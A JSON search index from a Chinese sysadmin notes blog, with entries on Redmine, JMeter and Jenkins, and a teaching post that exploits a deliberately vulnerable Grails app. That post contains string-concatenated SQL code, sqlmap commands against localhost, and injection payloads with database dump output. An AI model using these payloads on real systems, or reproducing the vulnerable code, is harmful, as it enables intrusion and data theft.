project\u0026#34;},\u0026#34;tracker\u0026#34;:{\u0026#34;id\u0026#34;:38,\u0026#34;name\u0026#34;:\u0026#34;服務-資料庫\u0026#34;},\u0026#34;status\u0026#34;:{\u0026#34;id\u0026#34;:1,\u0026#34;name\u0026#34;:\u0026#34;New\u0026#34;,\u0026#34;is_closed\u0026#34;:false},\u0026#34;priority\u0026#34;:{\u0026#34;id\u0026#34;:4,\u0026#34;name\u0026#34;:\u0026#34;Urgent(緊迫的)\u0026#34;},\u0026#34;author\u0026#34;:{\u0026#34;id\u0026#34;:5,\u0026#34;name\u0026#34;:\u0026#34;PolloChang\u0026#34;},\u0026#34;assigned_to\u0026#34;:{\u0026#34;id\u0026#34;:5,\u0026#34;name\u0026#34;:\u0026#34;PolloChang\u0026#34;},\u0026#34;subject\u0026#34;:\u0026#34;資料庫 datafile 擴充\u0026#34;,\u0026#34;description\u0026#34;:\u0026#34;Oracle datafile 快滿了，需要進行擴充\u0026#34;,\u0026#34;start_date\u0026#34;:\u0026#34;2024-09-16\u0026#34;,\u0026#34;due_date\u0026#34;:null,\u0026#34;done_ratio\u0026#34;:0,\u0026#34;is_private\u0026#34;:false,\u0026#34;estimated_hours\u0026#34;:null,\u0026#34;total_estimated_hours\u0026#34;:null,\u0026#34;custom_fields\u0026#34;:[{\u0026#34;id\u0026#34;:13,\u0026#34;name\u0026#34;:\u0026#34;希望完成日期\u0026#34;,\u0026#34;value\u0026#34;:\u0026#34;2024-09-15\u0026#34;}],\u0026#34;created_on\u0026#34;:\u0026#34;2024-09-15T15:15:06Z\u0026#34;,\u0026#34;updated_on\u0026#34;:\u0026#34;2024-09-15T15:15:06Z\u0026#34;,\u0026#34;closed_on\u0026#34;:null}} API 欄位這麼多要怎麼知道？ 答案是瀏覽器 F12 # 在 redmine 中談慶非常大，可以自訂很多不同的欄位，而官網的API文件似乎沒有提到很詳細。其實使用瀏覽器 F12 開啟管理員工具，在檢視元素中就可以取得相關欄位的資料。\n參考資料 # GPT回饋 Redmine API ","date":"September 15, 2024","externalUrl":null,"permalink":"/worknot/redmine-api/","section":"Worknots","summary":"以下是 redmine API 筆記\n在使用 API 之前記得先取得 token，token 會在 [我的帳戶] - [API 存取金鑰] 中，每個帳戶都會有一組。\n取得 Token 之後就可以進行操作了\n在這邊我會使用兩個參數方便接下來的操作\n","title":"Redmine Api","type":"worknot"},{"content":"","date":"August 29, 2024","externalUrl":null,"permalink":"/tags/jmeter/","section":"Tags","summary":"","title":"Jmeter","type":"tags"},{"content":" 安裝 # Down jMeter and deploy it. 1 2 3 4 5 6 JMETER_VERSION=\u0026#34;5.6.3\u0026#34; wget https://dlcdn.apache.org//jmeter/binaries/apache-jmeter-${JMETER_VERSION}.tgz # 只給自己帳號使用 tar -zxf apache-jmeter-${JMETER_VERSION}.tgz -C ~/.local/share/ cd ~/.local/share/ ln -s apache-jmeter-${JMETER_VERSION} apache-jmeter setting Desktop Entry for JMeter 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 JMETER_HOME=${HOME}/.local/share/apache-jmeter # download JMeter icon to this logo wget -o ${JMETER_HOME}/logo.svg https://jmeter.apache.org/images/jmeter_square.svg tee ${HOME}/.local/share/applications/apache-jmeter.desktop \u0026lt;\u0026lt;EOF [Desktop Entry] Version=1.0 Type=Application Name=apache-jmeter Path=${JMETER_HOME} Icon=${JMETER_HOME}/logo.svg Exec=${JMETER_HOME}/bin/jmeter.sh Comment=apache-jmeter Categories=Development; Terminal=false EOF # check had created it cat ${HOME}/.local/share/applications/apache-jmeter.desktop 安裝 plugin # jpgc-casutg # 1 2 3 JMETER_HOME=${HOME}/.local/share/apache-jmeter wget https://jmeter-plugins.org/files/packages/jpgc-casutg-2.10.zip unzip -q jpgc-casutg-2.10.zip -d ${JMETER_HOME} wget -o ${JMETER_HOME}/logo.png https://jmeter.apache.org/images/mstile-144x144.png\n","date":"August 29, 2024","externalUrl":null,"permalink":"/worknot/install-jmetet-on-linux/","section":"Worknots","summary":"安裝 # Down jMeter and deploy it. 1 2 3 4 5 6 JMETER_VERSION=\"5.6.3\" wget https://dlcdn.apache.org//jmeter/binaries/apache-jmeter-${JMETER_VERSION}.tgz # 只給自己帳號使用 tar -zxf apache-jmeter-${JMETER_VERSION}.tgz -C ~/.local/share/ cd ~/.local/share/ ln -s apache-jmeter-${JMETER_VERSION} apache-jmeter setting Desktop Entry for JMeter 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 JMETER_HOME=${HOME}/.local/share/apache-jmeter # download JMeter icon to this logo wget -o ${JMETER_HOME}/logo.svg https://jmeter.apache.org/images/jmeter_square.svg tee ${HOME}/.local/share/applications/apache-jmeter.desktop \u003c\u003cEOF [Desktop Entry] Version=1.0 Type=Application Name=apache-jmeter Path=${JMETER_HOME} Icon=${JMETER_HOME}/logo.svg Exec=${JMETER_HOME}/bin/jmeter.sh Comment=apache-jmeter Categories=Development; Terminal=false EOF # check had created it cat ${HOME}/.local/share/applications/apache-jmeter.desktop 安裝 plugin # jpgc-casutg # 1 2 3 JMETER_HOME=${HOME}/.local/share/apache-jmeter wget https://jmeter-plugins.org/files/packages/jpgc-casutg-2.10.zip unzip -q jpgc-casutg-2.10.zip -d ${JMETER_HOME} wget -o ${JMETER_HOME}/logo.png https://jmeter.apache.org/images/mstile-144x144.png\n","title":"在 Linux 安裝 JMeter","type":"worknot"},{"content":" 環境 # OS: Debain 12 DB: 10.192.1.105 redmine_db 安裝步驟 # 1 2 3 4 sudo apt install -y gnupg2 sudo gpg2 --keyserver hkp://keyserver.ubuntu.com --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3 7D2BAF1CF37B13E2069D6956105BD0E739499BDB curl -sSL https://get.rvm.io | bash -s stable sudo apt -y install ruby-full build-essential libpq-dev 1 2 3 4 5 6 7 8 wget https://www.redmine.org/releases/redmine-5.1.3.tar.gz sudo tar -zxf redmine-5.1.3.tar.gz -C /opt/ cd /opt/ sudo ln -s redmine-5.1.3 redmine cd /opt/redmine sudo cp /opt/redmine/config/configuration.yml{.example,} sudo cp /opt/redmine/public/dispatch.fcgi{.example,} sudo cp /opt/redmine/config/database.yml{.example,} config/database.yml 1 2 3 4 5 6 production: adapter: postgresql database: redmine_db host: 127.0.0.1 username: username password: \u0026#34;password\u0026#34; install 6.1\n1 2 redmine@manage-tools:~$ bundle install Your Ruby version is 3.1.2, but your Gemfile specified \u0026gt;= 3.2.0, \u0026lt; 3.5.0 1 2 3 4 5 6 7 8 9 10 11 12 sudo apt install -y git curl libssl-dev libreadline-dev zlib1g-dev \\ libyaml-dev libsqlite3-dev sqlite3 libxml2-dev libxslt1-dev libcurl4-openssl-dev su - redmine git clone https://github.com/rbenv/rbenv.git ~/.rbenv git clone https://github.com/rbenv/ruby-build.git ~/.rbenv/plugins/ruby-build vim ~/.bashrc # rbenv setup # export PATH=\u0026#34;$HOME/.rbenv/bin:$PATH\u0026#34; # eval \u0026#34;$(rbenv init - bash)\u0026#34; source ~/.bashrc rbenv install 3.2.4 rbenv local 3.2.4 1 2 3 4 5 6 7 8 9 10 11 12 13 sudo gem install bundler useradd --system --home /opt/redmine -c \u0026#34;Redmine System account\u0026#34; -s /bin/bash redmine chown -R redmine: /opt/redmine* sudo su - redmine bundle config set --local path \u0026#39;vendor/bundle\u0026#39; bundle install bundle update gem install io-wait strscan webrick --user-install bundle exec rake generate_secret_token RAILS_ENV=production bundle exec rake db:migrate RAILS_ENV=production REDMINE_LANG=zh-TW bundle exec rake redmine:load_default_data cd ~ for i in tmp tmp/pdf public/plugin_assets; do [ -d $i ] || mkdir -p $i; done 1 2 3 4 echo \u0026#39;gem \u0026#34;webrick\u0026#34;\u0026#39; \u0026gt;\u0026gt; Gemfile bundle install # 測試運作 bundle exec rails server -u webrick -e production /etc/systemd/system/redmine.service 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 [Unit] Description=Redmine Webserver Requires=postgresql.service After=postgresql.service [Service] Type=simple User=deploy WorkingDirectory=/opt/redmine ExecStart=/bin/bash -lc \u0026#39;bundle exec rails server -e production\u0026#39; ExecStart=/bin/bash -lc \u0026#39;/opt/redmine/.rbenv/shims/bundle exec rails server -e production -b 0.0.0.0 -p 3000\u0026#39; TimeoutSec=15 Restart=always User=redmine Group=redmine UMask=0027 RestartSec=10 Restart=always [Install] WantedBy=multi-user.target 1 sudo firewall-cmd --permanent --zone=public --add-rich-rule=\u0026#39;rule family=\u0026#34;ipv4\u0026#34; source address=\u0026#34;10.192.1.108\u0026#34; port protocol=\u0026#34;tcp\u0026#34; port=\u0026#34;3000\u0026#34; accept\u0026#39; nginx 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 upstream redmine { server 127.0.0.1:3000; } server { listen 80; root /opt/redmine/public; location ~ /redmine/(stylesheets|javascripts|images|favicon)(.*)$ { proxy_pass http://app/$1$2; } location /redmine { proxy_pass http://redmine; } location @redmine { proxy_pass http://redmine; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header Host $http_host; proxy_redirect off; } } 設定LDAP # 1 2 sudo apt install -y libldap2-dev systemctl stop redmine 1 2 sudo su - redmine bundle install --without development test plugin # 1 add_date_formats_with_day_names 參考資料 # Install Redmine on Debian 10|Debian 11|Debian 12 ","date":"August 25, 2024","externalUrl":null,"permalink":"/worknot/deploy-redmine-on-debian12/","section":"Worknots","summary":"環境 # OS: Debain 12 DB: 10.192.1.105 redmine_db 安裝步驟 # 1 2 3 4 sudo apt install -y gnupg2 sudo gpg2 --keyserver hkp://keyserver.ubuntu.com --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3 7D2BAF1CF37B13E2069D6956105BD0E739499BDB curl -sSL https://get.rvm.io | bash -s stable sudo apt -y install ruby-full build-essential libpq-dev 1 2 3 4 5 6 7 8 wget https://www.redmine.org/releases/redmine-5.1.3.tar.gz sudo tar -zxf redmine-5.1.3.tar.gz -C /opt/ cd /opt/ sudo ln -s redmine-5.1.3 redmine cd /opt/redmine sudo cp /opt/redmine/config/configuration.yml{.example,} sudo cp /opt/redmine/public/dispatch.fcgi{.example,} sudo cp /opt/redmine/config/database.yml{.example,} config/database.yml 1 2 3 4 5 6 production: adapter: postgresql database: redmine_db host: 127.0.0.1 username: username password: \"password\" install 6.1\n","title":"Deploy Redmine on Debian12","type":"worknot"},{"content":"","date":"August 25, 2024","externalUrl":null,"permalink":"/categories/infra/","section":"Categories","summary":"","title":"Infra","type":"categories"},{"content":"","date":"August 18, 2024","externalUrl":null,"permalink":"/categories/sick-grails/","section":"Categories","summary":"","title":"Sick Grails","type":"categories"},{"content":"聲明: 進行滲透測試必須在合法的範圍內進行，並且要有網站擁有者的明確許可。如果你有這些權限，並且目的是進行安全測試。\n漏洞名稱 # SQL Injection\n目標 # 透過實際程式範例讓程式開發人員理解 程式 與 SQL Injection 之間的關係\n環境 # 網站環境 # grails version: 5.3.3 java version: java 17 範例程式: https://github.com/PolloChang/sick-grails.git 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 CREATE SEQUENCE hibernate_sequence MINVALUE 1000; CREATE TABLE EX100 ( OBJID BIGSERIAL PRIMARY KEY, VERSION BIGINT NOT NULL, MAN_CREATED VARCHAR(20) NOT NULL, DATE_CREATED TIMESTAMP NOT NULL, MAN_LAST_UPDATED VARCHAR(20) NULL, LAST_UPDATED TIMESTAMP NULL, NOTE VARCHAR(50) NULL, STRINGS VARCHAR(50) NULL, INTEGERS INTEGER NULL, ATMS INTEGER NULL, STATUS INTEGER NULL, ARTICLE TEXT NULL ); COMMENT ON TABLE EX100 IS \u0026#39;範例表單\u0026#39;; COMMENT ON COLUMN EX100.MAN_CREATED IS \u0026#39;建檔人員\u0026#39;; COMMENT ON COLUMN EX100.DATE_CREATED IS \u0026#39;建檔時間\u0026#39;; COMMENT ON COLUMN EX100.MAN_LAST_UPDATED IS \u0026#39;最後異動人員\u0026#39;; COMMENT ON COLUMN EX100.LAST_UPDATED IS \u0026#39;最後異動時間\u0026#39;; COMMENT ON COLUMN EX100.NOTE IS \u0026#39;資料註記\u0026#39;; COMMENT ON COLUMN EX100.STRINGS IS \u0026#39;字串\u0026#39;; COMMENT ON COLUMN EX100.INTEGERS IS \u0026#39;數字\u0026#39;; COMMENT ON COLUMN EX100.ATMS IS \u0026#39;金額\u0026#39;; COMMENT ON COLUMN EX100.STATUS IS \u0026#39;流程狀態\u0026#39;; COMMENT ON COLUMN EX100.ARTICLE IS \u0026#39;文章\u0026#39;; insert into ex100 (objid,version,note) values ((nextval(\u0026#39;hibernate_sequence\u0026#39;)),0,\u0026#39;test\u0026#39;); insert into ex100 (objid,version,note) values ((nextval(\u0026#39;hibernate_sequence\u0026#39;)),0,\u0026#39;test1\u0026#39;); insert into ex100 (objid,version,note) values ((nextval(\u0026#39;hibernate_sequence\u0026#39;)),0,\u0026#39;test2\u0026#39;); 入侵環境 # OS: Debian 12 tools: sqlmap 1.7.2 問題程式片段 # sick-grails/grails-app/services/ex/Ex100Service.groovy 在程式中有透過字串組SQL方式進行查詢\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 LinkedHashMap filter2(GrailsParameterMap params){ LinkedHashMap result = [:] List\u0026lt;Ex100\u0026gt; ex100L = Ex100.createCriteria().list() { if(params?.strings){ sqlRestriction(\u0026#34; this_.strings = \u0026#39;${params?.strings}\u0026#39; \u0026#34;) } } result.rows = ex100L.collect { it -\u0026gt; [ id : it?.id, strings : it?.strings, integers : it?.integers, atms : it?.atms, status : it?.status, ] } return result } 方式 # 爬網站每個頁面並紀錄每個頁面可以傳遞的參數 找出可以執行 SQL Injection 漏洞的參數，此範例的參數名稱是 strings 逐一取得有價值的資訊 詳細處理過程 # 1. 取得網站資料庫 # 指令 # 1 sqlmap -u \u0026#34;http://localhost:8090/start/filter2?strings=ZAP\u0026#34; --batch 結果 # 可以得知此網站使用的資料庫是 PostgreSQL\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 ❯ sqlmap -u \u0026#34;http://localhost:8090/start/filter2?strings=ZAP\u0026#34; --batch ___ __H__ ___ ___[\u0026#34;]_____ ___ ___ {1.7.2#stable} |_ -| . [\u0026#39;] | .\u0026#39;| . | |___|_ [\u0026#34;]_|_|_|__,| _| |_|V... |_| https://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user\u0026#39;s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 00:19:04 /2024-08-18/ [00:19:04] [INFO] resuming back-end DBMS \u0026#39;postgresql\u0026#39; [00:19:04] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: strings (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: strings=ZAP\u0026#39; AND 1463=1463 AND \u0026#39;jWFI\u0026#39;=\u0026#39;jWFI Type: error-based Title: PostgreSQL AND error-based - WHERE or HAVING clause Payload: strings=ZAP\u0026#39; AND 1706=CAST((CHR(113)||CHR(98)||CHR(120)||CHR(118)||CHR(113))||(SELECT (CASE WHEN (1706=1706) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(120)||CHR(98)||CHR(118)||CHR(113)) AS NUMERIC) AND \u0026#39;mGGj\u0026#39;=\u0026#39;mGGj Type: stacked queries Title: PostgreSQL \u0026gt; 8.1 stacked queries (comment) Payload: strings=ZAP\u0026#39;;SELECT PG_SLEEP(5)-- Type: time-based blind Title: PostgreSQL \u0026gt; 8.1 AND time-based blind Payload: strings=ZAP\u0026#39; AND 3963=(SELECT 3963 FROM PG_SLEEP(5)) AND \u0026#39;nMkI\u0026#39;=\u0026#39;nMkI --- [00:19:04] [INFO] the back-end DBMS is PostgreSQL back-end DBMS: PostgreSQL [00:19:04] [INFO] fetched data logged to text files under \u0026#39;/home/pollochang/.local/share/sqlmap/output/localhost\u0026#39; [00:19:04] [WARNING] your sqlmap version is outdated [*] ending @ 00:19:04 /2024-08-18/ 2. 取得 schema # 指令 # 1 sqlmap -u \u0026#34;http://localhost:8090/start/filter2?strings=ZAP\u0026#34; --dbms=postgresql --batch --dbs 結果 # 可以取得schema有 public, information_schema, pg_catalog\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 ❯ sqlmap -u \u0026#34;http://localhost:8090/start/filter2?strings=ZAP\u0026#34; --dbms=postgresql --batch --dbs ___ __H__ ___ ___[\u0026#39;]_____ ___ ___ {1.7.2#stable} |_ -| . [(] | .\u0026#39;| . | |___|_ [\u0026#39;]_|_|_|__,| _| |_|V... |_| https://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user\u0026#39;s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 00:25:18 /2024-08-18/ [00:25:18] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: strings (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: strings=ZAP\u0026#39; AND 1463=1463 AND \u0026#39;jWFI\u0026#39;=\u0026#39;jWFI Type: error-based Title: PostgreSQL AND error-based - WHERE or HAVING clause Payload: strings=ZAP\u0026#39; AND 1706=CAST((CHR(113)||CHR(98)||CHR(120)||CHR(118)||CHR(113))||(SELECT (CASE WHEN (1706=1706) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(120)||CHR(98)||CHR(118)||CHR(113)) AS NUMERIC) AND \u0026#39;mGGj\u0026#39;=\u0026#39;mGGj Type: stacked queries Title: PostgreSQL \u0026gt; 8.1 stacked queries (comment) Payload: strings=ZAP\u0026#39;;SELECT PG_SLEEP(5)-- Type: time-based blind Title: PostgreSQL \u0026gt; 8.1 AND time-based blind Payload: strings=ZAP\u0026#39; AND 3963=(SELECT 3963 FROM PG_SLEEP(5)) AND \u0026#39;nMkI\u0026#39;=\u0026#39;nMkI --- [00:25:18] [INFO] testing PostgreSQL [00:25:18] [INFO] confirming PostgreSQL [00:25:18] [INFO] the back-end DBMS is PostgreSQL back-end DBMS: PostgreSQL [00:25:18] [WARNING] schema names are going to be used on PostgreSQL for enumeration as the counterpart to database names on other DBMSes [00:25:18] [INFO] fetching database (schema) names available databases [3]: [*] information_schema [*] pg_catalog [*] public [00:25:19] [WARNING] HTTP error codes detected during run: 500 (Internal Server Error) - 2 times [00:25:19] [INFO] fetched data logged to text files under \u0026#39;/home/pollochang/.local/share/sqlmap/output/localhost\u0026#39; [00:25:19] [WARNING] your sqlmap version is outdated [*] ending @ 00:25:19 /2024-08-18/ 3. 列出 table # 指令 # 1 sqlmap -u \u0026#34;http://localhost:8090/start/filter2?strings=ZAP\u0026#34; --dbms=postgresql --batch -D public --tables 結果 # 可以得知有以下資料表: ex100\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 ❯ sqlmap -u \u0026#34;http://localhost:8090/start/filter2?strings=ZAP\u0026#34; --dbms=postgresql --batch -D public --tables ___ __H__ ___ ___[.]_____ ___ ___ {1.7.2#stable} |_ -| . [\u0026#34;] | .\u0026#39;| . | |___|_ [,]_|_|_|__,| _| |_|V... |_| https://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user\u0026#39;s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 00:26:15 /2024-08-18/ [00:26:15] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: strings (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: strings=ZAP\u0026#39; AND 1463=1463 AND \u0026#39;jWFI\u0026#39;=\u0026#39;jWFI Type: error-based Title: PostgreSQL AND error-based - WHERE or HAVING clause Payload: strings=ZAP\u0026#39; AND 1706=CAST((CHR(113)||CHR(98)||CHR(120)||CHR(118)||CHR(113))||(SELECT (CASE WHEN (1706=1706) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(120)||CHR(98)||CHR(118)||CHR(113)) AS NUMERIC) AND \u0026#39;mGGj\u0026#39;=\u0026#39;mGGj Type: stacked queries Title: PostgreSQL \u0026gt; 8.1 stacked queries (comment) Payload: strings=ZAP\u0026#39;;SELECT PG_SLEEP(5)-- Type: time-based blind Title: PostgreSQL \u0026gt; 8.1 AND time-based blind Payload: strings=ZAP\u0026#39; AND 3963=(SELECT 3963 FROM PG_SLEEP(5)) AND \u0026#39;nMkI\u0026#39;=\u0026#39;nMkI --- [00:26:15] [INFO] testing PostgreSQL [00:26:15] [INFO] confirming PostgreSQL [00:26:15] [INFO] the back-end DBMS is PostgreSQL back-end DBMS: PostgreSQL [00:26:15] [INFO] fetching tables for database: \u0026#39;public\u0026#39; [00:26:15] [INFO] resumed: \u0026#39;ex100\u0026#39; Database: public [1 table] +-------+ | ex100 | +-------+ [00:26:15] [INFO] fetched data logged to text files under \u0026#39;/home/pollochang/.local/share/sqlmap/output/localhost\u0026#39; [00:26:15] [WARNING] your sqlmap version is outdated [*] ending @ 00:26:15 /2024-08-18/ 4. 取得 table 欄位 # 指令 # 1 sqlmap -u \u0026#34;http://localhost:8090/start/filter2?strings=ZAP\u0026#34; --dbms=postgresql --batch -D public -T ex100 --columns 結果 # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 ❯ sqlmap -u \u0026#34;http://localhost:8090/start/filter2?strings=ZAP\u0026#34; --dbms=postgresql --batch -D public -T ex100 --columns ___ __H__ ___ ___[,]_____ ___ ___ {1.7.2#stable} |_ -| . [\u0026#39;] | .\u0026#39;| . | |___|_ [\u0026#34;]_|_|_|__,| _| |_|V... |_| https://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user\u0026#39;s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 00:27:26 /2024-08-18/ [00:27:26] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: strings (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: strings=ZAP\u0026#39; AND 1463=1463 AND \u0026#39;jWFI\u0026#39;=\u0026#39;jWFI Type: error-based Title: PostgreSQL AND error-based - WHERE or HAVING clause Payload: strings=ZAP\u0026#39; AND 1706=CAST((CHR(113)||CHR(98)||CHR(120)||CHR(118)||CHR(113))||(SELECT (CASE WHEN (1706=1706) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(120)||CHR(98)||CHR(118)||CHR(113)) AS NUMERIC) AND \u0026#39;mGGj\u0026#39;=\u0026#39;mGGj Type: stacked queries Title: PostgreSQL \u0026gt; 8.1 stacked queries (comment) Payload: strings=ZAP\u0026#39;;SELECT PG_SLEEP(5)-- Type: time-based blind Title: PostgreSQL \u0026gt; 8.1 AND time-based blind Payload: strings=ZAP\u0026#39; AND 3963=(SELECT 3963 FROM PG_SLEEP(5)) AND \u0026#39;nMkI\u0026#39;=\u0026#39;nMkI --- /*中間省略*/ Database: public Table: ex100 [12 columns] +------------------+-----------+ | Column | Type | +------------------+-----------+ | version | int4 | | article | text | | atms | int4 | | date_created | timestamp | | integers | int4 | | last_updated | timestamp | | man_created | varchar | | man_last_updated | varchar | | note | varchar | | objid | numeric | | status | int4 | | strings | varchar | +------------------+-----------+ 5. 取得實際資料內容 # 指令 # 1 sqlmap -u \u0026#34;http://localhost:8090/start/filter2?strings=ZAP\u0026#34; --dbms=postgresql --batch -D public -T ex100 -C strings,status --dump 結果 # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 ❯ sqlmap -u \u0026#34;http://localhost:8090/start/filter2?strings=ZAP\u0026#34; --dbms=postgresql --batch -D public -T ex100 -C strings,status --dump ___ __H__ ___ ___[,]_____ ___ ___ {1.7.2#stable} |_ -| . [\u0026#39;] | .\u0026#39;| . | |___|_ [\u0026#34;]_|_|_|__,| _| |_|V... |_| https://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user\u0026#39;s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 00:28:34 /2024-08-18/ [00:28:34] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: strings (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: strings=ZAP\u0026#39; AND 1463=1463 AND \u0026#39;jWFI\u0026#39;=\u0026#39;jWFI Type: error-based Title: PostgreSQL AND error-based - WHERE or HAVING clause Payload: strings=ZAP\u0026#39; AND 1706=CAST((CHR(113)||CHR(98)||CHR(120)||CHR(118)||CHR(113))||(SELECT (CASE WHEN (1706=1706) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(120)||CHR(98)||CHR(118)||CHR(113)) AS NUMERIC) AND \u0026#39;mGGj\u0026#39;=\u0026#39;mGGj Type: stacked queries Title: PostgreSQL \u0026gt; 8.1 stacked queries (comment) Payload: strings=ZAP\u0026#39;;SELECT PG_SLEEP(5)-- Type: time-based blind Title: PostgreSQL \u0026gt; 8.1 AND time-based blind Payload: strings=ZAP\u0026#39; AND 3963=(SELECT 3963 FROM PG_SLEEP(5)) AND \u0026#39;nMkI\u0026#39;=\u0026#39;nMkI --- [00:28:34] [INFO] testing PostgreSQL [00:28:34] [INFO] confirming PostgreSQL [00:28:34] [INFO] the back-end DBMS is PostgreSQL back-end DBMS: PostgreSQL [00:28:34] [INFO] fetching entries of column(s) \u0026#39;status,strings\u0026#39; for table \u0026#39;ex100\u0026#39; in database \u0026#39;public\u0026#39; Database: public Table: ex100 [305 entries] +----------------------------------------------------+--------+ | strings | status | +----------------------------------------------------+--------+ | NULL | 0 | | ZAP UNION ALL SELECT NULL,NULL,NULL,NULL,NULL-- - | 0 | | ZAP) UNION ALL SELECT NULL,NULL# | 0 | | ZAP UNION ALL SELECT NULL,NULL,NULL# | 0 | | ZAP\u0026#39; UNION ALL SELECT NULL,NULL,NULL,NULL,NULL# | 0 | | ZAP%\u0026#39; ORDER BY 1# | 0 | | ZAP%\u0026#39; UNION ALL SELECT NULL# | 0 | | ZAP%\u0026#39; UNION ALL SELECT NULL,NULL# | 0 | | ZAP%\u0026#39; UNION ALL SELECT NULL,NULL,NULL# | 0 | | ZAP%\u0026#39; UNION ALL SELECT NULL,NULL,NULL,NULL# | 0 | | ZAP%\u0026#39; UNION ALL SELECT NULL,NULL,NULL,NULL,NULL# | 0 | | ZAP ORDER BY 1# | 0 | | ZAP UNION ALL SELECT NULL# | 0 | | ZAP UNION ALL SELECT NULL,NULL# | 0 | | ZAP UNION ALL SELECT NULL,NULL,NULL# | 0 | | ZAP UNION ALL SELECT NULL,NULL,NULL,NULL# | 0 | | ZAP UNION ALL SELECT NULL,NULL,NULL,NULL,NULL# | 0 | | ZAP | 0 | | #javascript:alert(5397) | 0 | +----------------------------------------------------+--------+ 參考資料 # SQLmap 基本使用 ","date":"August 18, 2024","externalUrl":null,"permalink":"/worknot/sick-grails-sql-inject/","section":"Worknots","summary":"聲明: 進行滲透測試必須在合法的範圍內進行，並且要有網站擁有者的明確許可。如果你有這些權限，並且目的是進行安全測試。\n漏洞名稱 # SQL Injection\n","title":"Sick Grails - SQL Injection","type":"worknot"},{"content":"","date":"August 18, 2024","externalUrl":null,"permalink":"/tags/sqlmap/","section":"Tags","summary":"","title":"Sqlmap","type":"tags"},{"content":"","date":"August 18, 2024","externalUrl":null,"permalink":"/tags/%E8%B3%87%E5%AE%89/","section":"Tags","summary":"","title":"資安","type":"tags"},{"content":"","date":"August 10, 2024","externalUrl":null,"permalink":"/tags/jenkins/","section":"Tags","summary":"","title":"Jenkins","type":"tags"},{"content":" 環境準備 # 安裝 SonarQube Server jenknins plugin: SonarQube Scanner SonarQube # Generate SonarQube Token # My Account -\u0026gt; Security -\u0026gt; Generate Tokens\njenkins 設定 # 環境 # Manage Jenkins \u0026gt; Manage Credentials manage \u0026gt; system \u0026gt; SonarQube servers manage \u0026gt; system Tools \u0026gt; SonarQube Scanner 專案 # pipline # 已下為 grails 專案設定 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 node { env.SONAR_USER_HOME=\u0026#34;${JENKINS_HOME}\u0026#34; env.JAVA_HOME=\u0026#34;${tool \u0026#39;openjdk-17\u0026#39;}\u0026#34; env.GRAILS_HOME=\u0026#34;/usr/local/lib/grails/grails-5.3.3\u0026#34; env.PATH=\u0026#34;${env.JAVA_HOME}/bin:${env.GRAILS_HOME}/bin:${env.PATH}\u0026#34; stage (\u0026#39;Checkout\u0026#39;) { git branch: \u0026#39;master\u0026#39;, credentialsId: \u0026#39;credentialsId\u0026#39;, url: \u0026#34;\u0026lt;git url\u0026gt;\u0026#34; } stage 